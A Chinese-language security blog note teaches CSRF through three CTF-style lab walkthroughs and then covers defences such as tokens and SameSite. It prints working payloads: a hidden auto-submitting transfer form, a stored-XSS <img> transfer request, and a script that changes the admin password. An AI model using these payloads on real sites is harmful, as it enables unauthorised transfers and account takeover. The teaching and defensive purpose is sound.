云计算百科
云计算领域专业知识百科平台

杂记 08 CSRF 跨站请求伪造

CSRF 的本质只有一句话:我让你(已登录用户)的浏览器,替我发一个请求。 本文按「原理 → GET/POST 两种类型 → 三个递进靶场 → XSS 对比 → 防御」组织,靶场难度从 1 级递进到高阶。

⚠️ 本文所有测试均在授权靶场中完成,仅用于安全学习与防御研究,请勿用于未授权目标。


一、CSRF 核心原理

1.1 什么是 CSRF

全称:Cross-Site Request Forgery(跨站请求伪造)

定义:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已获取的凭证(Cookie),绕过后台验证,达到冒充用户执行操作的目的。

翻译成大白话:

我不需要知道你的密码,也不需要偷你的 Cookie。我只需要让你的浏览器,用你已登录的身份,替我把这个请求发出去。

1.2 根因:浏览器的"自动带 Cookie"机制

这是理解 CSRF 的唯一关键点。

只要用户登录过某网站,浏览器就保存了该站的 Cookie。此后,无论请求是从哪个页面发起的——哪怕发起方是一个完全无关的恶意网站——只要请求的目标域名是该网站,浏览器都会自动在请求头里带上这个 Cookie。

受害者在 bank.com 登录 → 浏览器存下 session Cookie
      ↓
受害者访问 evil.com(恶意站)
      ↓
evil.com 偷偷向 bank.com/transfer 发请求
      ↓
浏览器自动附上 bank.com 的 Cookie ← 服务器无法分辨这是不是本人操作
      ↓
银行验证 Cookie 有效 → 执行转账

📌 "自动带 Cookie"是浏览器的正常特性,不是 Bug。 正是它让 Web 会话机制得以工作,也正因如此,才有了 CSRF。

1.3 漏洞成立的三个条件

#条件说明
1 用户已登录目标站 浏览器里存在有效的会话 Cookie
2 请求参数可预测 敏感操作的参数是固定的,没有不可预测的 Token
3 无二次验证 操作不需要重新输入原密码、短信验证码等

攻击侧的前提:攻击者能构造恶意页面,并让受害者访问它。

💡 反过来看,这三条就是防御的着手点:加 Token、加二次验证、让浏览器不带 Cookie(SameSite)。

1.4 澄清:为什么叫"跨站"

因为请求的发起方(恶意站 evil.com)与目标(被攻击站 bank.com)不同站。

⚠️ 本笔记靶场的一处简化:为了演示方便,靶场把恶意页面和被攻击系统放在了同一台主机上(如 /evil 与 /transfer)。真实场景中,恶意页面位于第三方域名。不过核心机制——"浏览器自动带 Cookie"——不受影响,跨站照样成立。

💡 写真实 payload 的注意事项:表单的 action 要写成绝对地址(http://bank.com/transfer)。靶场里写相对路径 /transfer 能通,是因为恶意页和银行在同一主机;真实跨站时,相对路径会提交到恶意站自己,攻击直接失败。

1.5 GET 型与 POST 型

三个靶场正好覆盖这两种类型:

类型参数位置利用标签触发方式
GET 型 URL 查询串 <img>、<iframe>、<script> 页面加载即自动发送,无需交互
POST 型 请求体 <form> + JS 自动提交 需构造表单并 submit()

二、靶场一:CSRF 模拟演练场(1 级 · 隐藏表单)

2.1 靶场信息

项目值
靶场名称 CSRF 模拟演练场
难度 1 级(入门)
考察点 理解 CSRF 原理,掌握基础的 CSRF 利用方式
核心场景 模拟银行转账系统 + 恶意中奖网站

2.2 第一步:抓包分析正常流程

  • 在银行系统 /dashboard 点击"发起转账",输入目标账号 bob、金额 100

  • 用 Burp Suite 抓下这个请求,记录关键信息:

  • 项目值
    请求方法 POST
    请求 URL /transfer
    请求参数 to_user=bob&amount=100
    请求头 Cookie: session=…;Referer 为银行系统自身域名

    关键发现:请求参数里没有 Token。 参数完全可预测 → 存在 CSRF 漏洞。

    2.3 第二步:构造恶意页面

    靶场提供了一个恶意网站(路径 /evil),伪装成"免费礼物网站"。核心源码:

    <!– 1. 隐藏的 CSRF 表单(用户不可见) –>
    <form id="csrf-form" method="POST" action="/transfer" class="hidden-form">
       <input type="hidden" name="to_user" value="bob">
       <input type="hidden" name="amount" value="100">
    </form>

    <!– 2. 诱导用户点击的按钮 –>
    <button onclick="executeCSRF()" class="claim-btn">🚀 立即领取奖金!</button>

    <!– 3. 触发攻击的 JavaScript –>
    <script>
    function executeCSRF() {
       const resultDiv = document.getElementById('attack-result');
       resultDiv.style.display = 'block';
       resultDiv.innerHTML = '…正在执行CSRF攻击…';

       // 延迟 1 秒后,自动提交隐藏表单
       setTimeout(() => {
           document.getElementById('csrf-form').submit();
      }, 1000);
    }
    </script>

    代码逻辑解析:

    片段作用
    class="hidden-form" + CSS display:none 让表单在页面上完全不可见
    action="/transfer" 指向银行系统的转账接口
    method="POST" + input type="hidden" 把转账参数藏在请求体里

    执行流程:用户点击按钮 → 触发 executeCSRF() → 延迟 1 秒 → form.submit() → 浏览器自动带上银行系统的 Cookie。

    💡 为什么要延迟 1 秒? 纯粹是视觉欺骗,让受害者看到"正在处理"的提示。技术上可以立即提交,也可以去掉按钮改成页面加载即自动提交。

    2.4 第三步:抓包验证攻击效果

    用户点击恶意网站的按钮后,Burp 里能看到:

    POST /transfer HTTP/1.1
    Host: hbc2.haobachang.com

    Referer: http://站点:端口/evil   <– 关键证据:请求来自恶意页面
    Cookie: session=eyJ1c2…                       <– 致命一击:浏览器自动带上了登录凭证
    Content-Type: application/x-www-form-urlencoded

    to_user=bob&amount=100

    响应结果:HTTP/1.1 302 FOUND → Location: /dashboard

    服务器验证 Cookie 有效,执行转账逻辑,攻击成功。

    两个铁证:Referer 指向恶意页面、Cookie 被浏览器自动携带——这就是 CSRF 的全部秘密。

    2.5 攻击链全景

    ① 攻击者抓包,摸清转账接口(POST /transfer,无 Token)
          ↓
    ② 在恶意页面埋一个隐藏表单,参数写死为「给 bob 转 100」
          ↓
    ③ 诱导受害者访问恶意页面("免费礼物网站")
          ↓
    ④ 表单自动提交 → 浏览器自动附上 bank.com 的 Cookie
          ↓
    ⑤ 服务器认为是本人操作 → 转账成功


    三、靶场二:入门 CSRF(2 级 · XSS + GET 型组合拳)

    这一关的精彩之处在于:单纯 CSRF 打不通,必须先把 XSS 当作"跳板"。

    3.1 环境与核心矛盾

    项目值
    技术栈 PHP 7.4.27 + Nginx 1.18.0
    初始账号 user / password
    初始余额 500 元
    Flag 售价 1000 元
    可利用功能 转账、给 admin 留言

    核心矛盾:余额 500 < 售价 1000,而且 user 自己也没钱可转。

    破局方向只有一个:想办法花别人的钱。

    3.2 破局思路:攻击链组合

    系统里有个"给 admin 留言"的功能,通常是 Bot 自动查看留言。这就打开了思路——借用 admin 的高权限:

    步骤手段作用
    1. 入口 留言板存在存储型 XSS(未过滤 HTML/JS) 把代码塞进 admin 会看的页面
    2. 武器 构造 GET 型 CSRF payload,伪装成留言内容 用 admin 的 Cookie 发起转账
    3. 触发 admin(Bot)查看留言时,恶意 JS 自动执行 攻击落地

    3.3 第一步:抓包,发现 GET 转账接口

    在 user 页面点击"转账",Burp 抓包:

    GET /transfer.php?to_user=user&amount=10000 HTTP/1.1
    Host: 站点:端口
    Cookie: PHPSESSID=…; session=…

    结论:转账接口是 GET 请求,参数直接暴露在 URL 中,且没有 CSRF Token。 连表单都不用构造,一个 URL 就能打完。

    3.4 第二步:构造 XSS Payload

    利用 <img> 标签的 src 属性自动发起 GET 请求,并用 display:none 让它不可见:

    <img src="http://站点:端口/transfer.php?to_user=user&amount=10000" style="display:none;">

    攻击原理:

  • admin 的浏览器加载这段 HTML 时,会自动向 src 中的 URL 发起请求

  • 由于请求由 admin 的浏览器发起,自动携带了 admin 的 Cookie

  • 服务器验证 Cookie 有效 → 执行转账:admin −10000,user +10000

  • 3.5 第三步:触发管理员 Bot

  • 把上述 payload 填入"给 admin 留言"输入框并提交

  • 靶场后台启动 Headless Browser(无头浏览器),以 admin 的登录状态访问留言页面

  • Bot 解析到恶意 <img> 标签,自动触发请求

  • 页面返回"admin 已收到您的留言",同时 user 余额刷新为 10500 元

  • 3.6 第四步:购买 Flag

    余额充足(10500 > 1000),点击"购买 Flag",通关。

    3.7 复盘:XSS 与 CSRF 的分工

    漏洞作用在本靶场中的角色
    存储型 XSS 在受害者浏览器中执行恶意 JS 攻击入口:通过留言板注入代码
    GET 型 CSRF 利用受害者 Cookie 发起请求 攻击载荷:用 <img> 自动发起转账
    Bot 机制 模拟管理员操作,触发漏洞 触发条件:留言后 Bot 自动查看

    这一关的启示:CSRF 单独使用时需要"诱导点击",而 XSS 让这一步自动化了——admin 甚至什么都没点,钱就没了。


    四、靶场三:POST 型 CSRF( 托管页面 + 定时 Bot)

    4.1 环境与关键机制

    项目值
    初始账号 user / user
    功能 1 管理 HTML 页面:允许提交任意 HTML,保存为 /static/poc.html
    功能 2 修改密码:敏感操作,本次的攻击目标
    关键机制 系统每 30 秒自动访问 /static/poc.html(模拟 admin 的 Bot 定时任务)

    4.2 破局思路:白送的"恶意页面托管"

    正常打 CSRF,攻击者得自己搭个网站放恶意页面。而这一关的靶场自带 HTML 托管功能——等于白送一个攻击载体:

    不用自己搭 VPS,直接把 payload 写进靶场自己的 /static/poc.html。等 Bot 来访问,payload 自动执行。

    4.3 第一步:抓包,锁定攻击目标

  • 点击左侧菜单"修改密码",先正常改一次密码

  • Burp 抓包,关键发现:

  • 项目值
    请求方法 POST(不能用 <img>,必须构造表单)
    请求 URL /change_password
    请求参数 new_password=123456
    CSRF Token 无 → 存在漏洞
    响应状态码 302(修改成功后重定向)

    4.4 第二步:构造自动提交的 POST 表单

    用 JavaScript 动态创建并提交表单:

    <!DOCTYPE html>
    <html>
    <head>
       <title>密码修改</title>
    </head>
    <body>
       <script>
           // 页面加载后自动提交 POST 请求
           window.onload = function() {
               const url = '/change_password';

               // 创建表单
               const form = document.createElement('form');
               form.method = 'POST';
               form.action = url;
               form.style.display = 'none';

               // 添加密码字段
               const input = document.createElement('input');
               input.type = 'hidden';
               input.name = 'new_password';
               input.value = '123456';

               form.appendChild(input);
               document.body.appendChild(form);

               // 提交表单
               form.submit();
          };
       </script>
       <p>正在提交密码修改请求,请稍候…</p>
    </body>
    </html>

    三种自动提交写法对比:

    写法特点
    window.onload + 动态建 form + submit() 本靶场用法,最灵活,适合注入场景
    <body onload="document.forms[0].submit()"> 最短,但表单必须已写在 HTML 里
    <form> 静态写死 + <script>form.submit()</script> 简单直接

    4.5 第三步:提交 Payload 并等待 Bot

  • 把上述 HTML 粘贴到"管理 HTML 页面"并提交

  • 代码被写入 /static/poc.html

  • 等待 30 秒以上,让靶场的定时任务访问该页面

  • Bot 的浏览器解析 <script>,自动向 /change_password 发送 POST 请求

  • 关键:因为是 Bot 发起的请求,浏览器自动带上了 admin 的 Cookie

  • 服务器验证通过 → admin 的密码被改成 123456

  • 4.6 第四步:验证攻击并获取 Flag

  • 退出 user 账号

  • 用 admin / 123456 登录

  • 登录成功 → 拿到 Flag

  • 4.7 复盘:这是一次"盲打"

    攻击者看不到 Bot 发出的请求,也无法直接读取响应,只能通过结果(能否用新密码登录成功)来验证攻击是否得手。

    这是 CTF 靶场中非常常见的"盲打"模式,和 SQL 盲注的思路一致:没有直接回显时,就找一个可观察的副作用来推断结果。


    五、XSS 与 CSRF 的区别

    这两个漏洞经常被混为一谈,其实差别很大。

    5.1 两个比喻

    XSS = 小偷亲自溜进你家

    小偷趁你不注意溜进你家(网站),躲进衣柜(网页代码)。等你回家(打开网页),他就穿着你的衣服、用你的手机、花你的钱。

    CSRF = 骗子冒充你去银行签字

    骗子伪造了一张你的签名(请求),骗银行柜员(服务器)说这是你本人要转账。柜员一看签名(Cookie)是真的,就把钱转走了——而你根本不知道这件事。

    5.2 一句话区分

    XSS 是"我在你的浏览器里执行代码"。 CSRF 是"我让你的浏览器替我发请求"。

    5.3 核心区别对照表

    维度XSS(跨站脚本)CSRF(跨站请求伪造)
    攻击目标 用户(偷用户的数据) 服务器(骗服务器执行操作)
    利用的信任 网站信任用户输入的内容 网站信任用户浏览器带来的 Cookie
    攻击者要做什么 往网页里注入恶意 JS 代码 构造一个伪造请求的页面 / 链接
    受害者要做什么 只要打开网页就中招 需要访问恶意页面(或点击链接)
    能偷到 Cookie 吗 ✅ 能(这是 XSS 的主要目标) ❌ 不能(只是"借用"Cookie 发请求)
    典型危害 盗号、篡改网页、窃取隐私 转账、改密码、发帖、关注
    防御核心 输出编码 CSRF Token / SameSite

    📌 最容易记混的一点:CSRF 偷不到 Cookie。它不需要知道 Cookie 的内容,只是"借着"浏览器会自动携带 Cookie 这个特性,把请求发出去。

    5.4 组合拳为什么最危险

    组合效果
    纯 CSRF 需要诱导受害者点击链接或访问页面,依赖社工
    XSS + CSRF XSS 让请求自动发出,受害者毫无感知,无需社工

    本笔记的靶场二就是标准范例:XSS 负责"把代码送进去",CSRF 负责"用管理员权限干坏事"。


    六、防御总览

    6.1 按强度排序的防御措施

    措施原理强度
    CSRF Token 表单里带一个随机、不可预测的 Token,后端校验 ⭐ 最主流
    SameSite Cookie 跨站请求不带 Cookie ⭐ 浏览器层兜底
    二次验证 敏感操作要求重新输密码 / 短信码 很强
    验证旧密码 改密码时强制输入原密码 该场景几乎无敌
    校验 Origin / Referer 拒绝非本站来源的请求 辅助
    敏感操作改用 POST 抬高利用门槛(还要校验 Content-Type) 辅助

    CSRF Token 的实现要点:

    // 1. 生成并存进 session(每个会话一个,或每次请求一个)
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));

    // 2. 表单里带上它
    // <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

    // 3. 后端校验(用 hash_equals 做恒定时间比较,防时序攻击)
    if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
       http_response_code(403);
       exit('CSRF token 校验失败');
    }

    💡 为什么 Token 有效?因为恶意网站受同源策略限制,读不到目标站的页面内容,自然拿不到 Token。

    6.2 重要细节:SameSite 不是万能的

    现代浏览器默认 SameSite=Lax,它的行为需要精确理解:

    请求场景SameSite=Lax 下是否带 Cookie
    跨站 POST(表单提交) ❌ 不带
    跨站子资源请求(<img>、<iframe>、<script>) ❌ 不带
    跨站顶级 GET 导航(用户点击链接跳转) ✅ 仍然带

    两个直接推论:

  • 靶场二那种 <img> 型 GET CSRF,会被 Lax 挡掉(属于子资源请求)

  • 但如果换成诱导用户点击链接(<a href="http://bank.com/transfer?to_user=attacker&amount=1000">点击领取奖励</a>),Lax 挡不住——顶级导航会带 Cookie

  • ⚠️ 结论:SameSite 不是银弹。 敏感操作必须改成 POST,再配合 Token 才稳妥。GET 型接口天然更容易被 CSRF。

    6.3 周边防御(别忽视)

    方向措施
    修复 XSS 对用户输入做 HTML 实体编码。否则 XSS 会成为 CSRF 的跳板(靶场二就是教训)
    HTML 托管类功能 严格过滤 <script>、<form> 等危险标签,并配置 CSP 禁止内联脚本
    权限隔离 管理员查看用户内容时,应在沙箱或独立浏览器中进行,避免带着高权限 Cookie 直接访问用户提交的内容
    最小权限 管理员账号不应拥有直接转账权限,或必须二次验证

    6.4 延伸:JSON 型 CSRF

    情况是否可利用
    接口严格要求 Content-Type: application/json ❌ 较难。HTML 表单发不出这个 Content-Type
    服务端接受 text/plain 却按 JSON 解析 ⚠️ 可被利用
    CORS 配置不当(如 Access-Control-Allow-Origin: * 且允许携带凭证) ⚠️ 可被利用

    💡 老资料里常提"JSON 型 CSRF 需要配合 Flash",但 Flash 已于 2020 年停止支持,现在不必再考虑这条路径。


    七、总结

    7.1 三个靶场串起来看

    靶场难度类型攻击链
    CSRF 模拟演练场 1 级 POST 型 隐藏表单 + 诱导点击
    入门 CSRF 2 级 GET 型 + XSS 存储型 XSS 注入留言板 → Bot 触发 → <img> 发起转账
    POST-CSRF 入门 高阶 POST 型 + Bot 靶场自带 HTML 托管 → 定时 Bot 访问 → 自动提交改密表单

    递进关系:从"需要诱导点击"→"XSS 自动触发"→"托管页面 + 定时 Bot 全自动",攻击者的介入越来越少。

    7.2 一句话收尾

    CSRF 就是"借用你的身份,替你做决定"。 防御的核心:让攻击者伪造的请求,无法通过服务器的校验。

    CSRF Token 是主力,SameSite 是兜底,敏感操作必须用 POST。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 杂记 08 CSRF 跨站请求伪造
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!